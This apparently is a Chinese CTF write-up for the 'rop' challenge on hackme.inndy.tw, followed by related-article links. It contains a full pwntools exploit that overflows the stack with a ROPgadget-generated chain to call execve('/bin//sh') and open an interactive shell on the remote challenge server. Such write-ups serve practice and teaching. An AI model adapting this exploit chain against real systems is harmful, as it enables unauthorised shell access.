ROP

作者: 2mpossible | 来源:发表于2018-08-15 19:29 被阅读0次

很明显的栈溢出,想了半天没有头绪,然后发现可以用ROPgadget –binary rop –ropchain 直接生成rop链(简直太舒服了,静态链接的elf貌似都可以这么做)

exp(前两行换了顺序就会报错,坑了我好久):

from pwn import *
from struct import pack

#io = process('./rop')
io = remote('hackme.inndy.tw',7704)

# Padding goes here
p = 'a'*0xc + 'aaaa'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)

io.interactive()

相关文章

  • [JarvisOj](pwn)rop_rop_rop

    简介 : 利用代码 : 方法一 :(按照出题人的思路 , 分别调用 Step1, Step2, Step3, 在内...

  • ROP|frame faking|

    基础ROP *目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲...

  • NX防护机制绕过 ROP

    什么是ROP *ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在...

  • rop and rop2 wp

    题目来源:国外的一个ctf平台hackme rop hint: ROP buffer overflow防护机制: ...

  • 基本ROP讲解

    0x01 前言 在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。 0x02 什么是ROP ROP的全称...

  • ROP

    很明显的栈溢出,想了半天没有头绪,然后发现可以用ROPgadget –binary rop –ropchain 直...

  • ROP

    ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的...

  • ROP

    回顾:针对代码注入的防护机制 1. 经典代码注入的核心思想利用逻辑异常,在程序数据中混入代码劫持控制流,使得指令指...

  • 总结

    栈溢出技巧 ROP 基本ROP ret2text ret2shellcode ret2syscall 32位 调用...

  • # [ROP Emporium]ret2csu

    [ROP Emporium]ret2csu 做ROP Emporium的ret2csu陷入僵局的时候想找wp的时候...

网友评论

      本文标题:ROP

      本文链接:https://www.haomeiwen.com/subject/bbxgbftx.html